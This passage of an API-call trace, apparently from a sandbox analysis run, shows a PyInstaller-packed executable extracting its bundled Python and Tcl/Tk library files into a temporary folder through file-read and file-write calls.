(dwErrCode=0x0) [0035.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\select.pyd") returned 56 [0035.660] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\select.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\select.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.660] GetLastError () returned 0x2 [0035.660] SetLastError (dwErrCode=0x2) [0035.660] GetLastError () returned 0x2 [0035.660] SetLastError (dwErrCode=0x2) [0035.660] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\select.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\select.pyd", lpFilePart=0x0) returned 0x37 [0035.660] GetLastError () returned 0x2 [0035.660] SetLastError (dwErrCode=0x2) [0035.660] GetLastError () returned 0x2 [0035.661] SetLastError (dwErrCode=0x2) [0035.661] GetLastError () returned 0x2 [0035.661] SetLastError (dwErrCode=0x2) [0035.661] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\select.pyd") returned 56 [0035.661] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\select.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\select.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.661] GetFileType (hFile=0x10c) returned 0x1 [0035.661] htonl (hostlong=0x280000) returned 0x2800 [0035.661] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0035.662] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0035.662] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x800, lpOverlapped=0x0) returned 1 [0035.662] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.662] CloseHandle (hObject=0x10c) returned 1 [0035.663] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0035.664] htonl (hostlong=0x20000000) returned 0x20 [0035.664] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.664] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.664] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.664] GetFileType (hFile=0x10c) returned 0x1 [0035.664] htonl (hostlong=0xaddc3c00) returned 0x3cdcad [0035.664] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x418cad, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.664] htonl (hostlong=0xedfa0600) returned 0x6faed [0035.664] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6faed) returned 0x560088 [0035.666] htonl (hostlong=0xedfa0600) returned 0x6faed [0035.666] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x6f000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x6f000, lpOverlapped=0x0) returned 1 [0035.674] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.679] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.679] htonl (hostlong=0xa60d00) returned 0xda600 [0035.679] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xda600) returned 0xc39020 [0035.681] htonl (hostlong=0xedfa0600) returned 0x6faed [0035.681] htonl (hostlong=0xa60d00) returned 0xda600 [0035.681] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5cfb80 [0035.699] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5cfb80 | out: hHeap=0x530000) returned 1 [0035.700] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.702] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.702] CloseHandle (hObject=0x10c) returned 1 [0035.703] GetLastError () returned 0x0 [0035.703] SetLastError (dwErrCode=0x0) [0035.703] GetLastError () returned 0x0 [0035.703] SetLastError (dwErrCode=0x0) [0035.703] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl85.dll") returned 55 [0035.703] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl85.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl85.dll"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.703] GetLastError () returned 0x2 [0035.703] SetLastError (dwErrCode=0x2) [0035.703] GetLastError () returned 0x2 [0035.703] SetLastError (dwErrCode=0x2) [0035.703] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl85.dll", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl85.dll", lpFilePart=0x0) returned 0x36 [0035.703] GetLastError () returned 0x2 [0035.703] SetLastError (dwErrCode=0x2) [0035.703] GetLastError () returned 0x2 [0035.703] SetLastError (dwErrCode=0x2) [0035.703] GetLastError () returned 0x2 [0035.703] SetLastError (dwErrCode=0x2) [0035.703] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl85.dll") returned 55 [0035.703] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.703] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl85.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl85.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.746] GetFileType (hFile=0x10c) returned 0x1 [0035.746] htonl (hostlong=0xa60d00) returned 0xda600 [0035.746] WriteFile (in: hFile=0x10c, lpBuffer=0xc39020*, nNumberOfBytesToWrite=0xda000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0xc39020*, lpNumberOfBytesWritten=0x4fcd00*=0xda000, lpOverlapped=0x0) returned 1 [0035.760] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.760] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x600, lpOverlapped=0x0) returned 1 [0035.760] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.760] CloseHandle (hObject=0x10c) returned 1 [0035.775] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0xc39020 | out: hHeap=0x530000) returned 1 [0035.779] htonl (hostlong=0x20000000) returned 0x20 [0035.779] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.779] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.779] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.779] GetFileType (hFile=0x10c) returned 0x1 [0035.779] htonl (hostlong=0x9ad74300) returned 0x43d79a [0035.779] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x48879a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.779] htonl (hostlong=0xc15b0800) returned 0x85bc1 [0035.779] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x85bc1) returned 0xc36020 [0035.781] htonl (hostlong=0xc15b0800) returned 0x85bc1 [0035.781] ReadFile (in: hFile=0x10c, lpBuffer=0xc36020, nNumberOfBytesToRead=0x85000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0xc36020*, lpNumberOfBytesRead=0x4fcd58*=0x85000, lpOverlapped=0x0) returned 1 [0035.800] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.800] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.800] htonl (hostlong=0x501400) returned 0x145000 [0035.800] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x145000) returned 0x21b9020 [0035.803] htonl (hostlong=0xc15b0800) returned 0x85bc1 [0035.803] htonl (hostlong=0x501400) returned 0x145000 [0035.803] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0035.828] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.829] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0xc36020 | out: hHeap=0x530000) returned 1 [0035.833] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.833] CloseHandle (hObject=0x10c) returned 1 [0035.833] GetLastError () returned 0x0 [0035.833] SetLastError (dwErrCode=0x0) [0035.833] GetLastError () returned 0x0 [0035.833] SetLastError (dwErrCode=0x0) [0035.833] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk85.dll") returned 54 [0035.833] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk85.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk85.dll"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.833] GetLastError () returned 0x2 [0035.833] SetLastError (dwErrCode=0x2) [0035.833] GetLastError () returned 0x2 [0035.833] SetLastError (dwErrCode=0x2) [0035.833] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk85.dll", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk85.dll", lpFilePart=0x0) returned 0x35 [0035.833] GetLastError () returned 0x2 [0035.834] SetLastError (dwErrCode=0x2) [0035.834] GetLastError () returned 0x2 [0035.834] SetLastError (dwErrCode=0x2) [0035.834] GetLastError () returned 0x2 [0035.834] SetLastError (dwErrCode=0x2) [0035.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk85.dll") returned 54 [0035.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.834] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk85.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk85.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.834] GetFileType (hFile=0x10c) returned 0x1 [0035.834] htonl (hostlong=0x501400) returned 0x145000 [0035.834] WriteFile (in: hFile=0x10c, lpBuffer=0x21b9020*, nNumberOfBytesToWrite=0x145000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x21b9020*, lpNumberOfBytesWritten=0x4fcd00*=0x145000, lpOverlapped=0x0) returned 1 [0035.856] CloseHandle (hObject=0x10c) returned 1 [0035.882] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x21b9020 | out: hHeap=0x530000) returned 1 [0035.888] htonl (hostlong=0x20000000) returned 0x20 [0035.888] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.888] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.888] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.888] GetFileType (hFile=0x10c) returned 0x1 [0035.888] htonl (hostlong=0x5b334c00) returned 0x4c335b [0035.888] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x50e35b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.888] htonl (hostlong=0xc0ee0300) returned 0x3eec0 [0035.889] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3eec0) returned 0x560088 [0035.889] htonl (hostlong=0xc0ee0300) returned 0x3eec0 [0035.889] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x3e000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x3e000, lpOverlapped=0x0) returned 1 [0035.893] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.893] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.893] htonl (hostlong=0x7c0a00) returned 0xa7c00 [0035.893] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa7c00) returned 0xc36020 [0035.895] htonl (hostlong=0xc0ee0300) returned 0x3eec0 [0035.895] htonl (hostlong=0x7c0a00) returned 0xa7c00 [0035.895] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x59ef50 [0035.907] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59ef50 | out: hHeap=0x530000) returned 1 [0035.907] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.907] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.907] CloseHandle (hObject=0x10c) returned 1 [0035.907] GetLastError () returned 0x0 [0035.907] SetLastError (dwErrCode=0x0) [0035.907] GetLastError () returned 0x0 [0035.907] SetLastError (dwErrCode=0x0) [0035.907] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\unicodedata.pyd") returned 61 [0035.908] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\unicodedata.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\unicodedata.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.908] GetLastError () returned 0x2 [0035.908] SetLastError (dwErrCode=0x2) [0035.908] GetLastError () returned 0x2 [0035.908] SetLastError (dwErrCode=0x2) [0035.908] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\unicodedata.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\unicodedata.pyd", lpFilePart=0x0) returned 0x3c [0035.908] GetLastError () returned 0x2 [0035.908] SetLastError (dwErrCode=0x2) [0035.908] GetLastError () returned 0x2 [0035.908] SetLastError (dwErrCode=0x2) [0035.908] GetLastError () returned 0x2 [0035.908] SetLastError (dwErrCode=0x2) [0035.908] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\unicodedata.pyd") returned 61 [0035.908] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.908] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\unicodedata.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\unicodedata.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.908] GetFileType (hFile=0x10c) returned 0x1 [0035.908] htonl (hostlong=0x7c0a00) returned 0xa7c00 [0035.908] WriteFile (in: hFile=0x10c, lpBuffer=0xc36020*, nNumberOfBytesToWrite=0xa7000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0xc36020*, lpNumberOfBytesWritten=0x4fcd00*=0xa7000, lpOverlapped=0x0) returned 1 [0035.923] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.923] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xc00, lpOverlapped=0x0) returned 1 [0035.923] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.923] CloseHandle (hObject=0x10c) returned 1 [0035.934] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0xc36020 | out: hHeap=0x530000) returned 1 [0035.937] htonl (hostlong=0x30000000) returned 0x30 [0035.937] htonl (hostlong=0x50000000) returned 0x50 [0035.937] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.937] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.938] GetFileType (hFile=0x10c) returned 0x1 [0035.938] htonl (hostlong=0x1b225000) returned 0x50221b [0035.938] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x54d21b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.938] htonl (hostlong=0xbb190000) returned 0x19bb [0035.938] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x19bb) returned 0x55d270 [0035.938] htonl (hostlong=0xbb190000) returned 0x19bb [0035.938] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0035.938] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0035.938] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.938] htonl (hostlong=0xcd550000) returned 0x55cd [0035.938] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x55cd) returned 0x561090 [0035.938] htonl (hostlong=0xbb190000) returned 0x19bb [0035.938] htonl (hostlong=0xcd550000) returned 0x55cd [0035.938] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x566668 [0035.938] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x566668 | out: hHeap=0x530000) returned 1 [0035.939] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.939] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.940] CloseHandle (hObject=0x10c) returned 1 [0035.940] GetLastError () returned 0x0 [0035.940] SetLastError (dwErrCode=0x0) [0035.940] GetLastError () returned 0x0 [0035.940] SetLastError (dwErrCode=0x0) [0035.940] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Include") returned 53 [0035.940] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Include" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\include"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.940] GetLastError () returned 0x2 [0035.940] SetLastError (dwErrCode=0x2) [0035.940] GetLastError () returned 0x2 [0035.940] SetLastError (dwErrCode=0x2) [0035.940] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Include", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Include", lpFilePart=0x0) returned 0x34 [0035.940] GetLastError () returned 0x2 [0035.940] SetLastError (dwErrCode=0x2) [0035.940] GetLastError () returned 0x2 [0035.940] SetLastError (dwErrCode=0x2) [0035.940] GetLastError () returned 0x2 [0035.940] SetLastError (dwErrCode=0x2) [0035.940] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Include" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\include"), lpSecurityAttributes=0x0) returned 1 [0035.940] GetLastError () returned 0x2 [0035.940] SetLastError (dwErrCode=0x2) [0035.940] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Include\\pyconfig.h") returned 64 [0035.941] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Include\\pyconfig.h" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\include\\pyconfig.h"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.941] GetLastError () returned 0x2 [0035.941] SetLastError (dwErrCode=0x2) [0035.941] GetLastError () returned 0x2 [0035.941] SetLastError (dwErrCode=0x2) [0035.941] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Include\\pyconfig.h", nBufferLength=0x104, 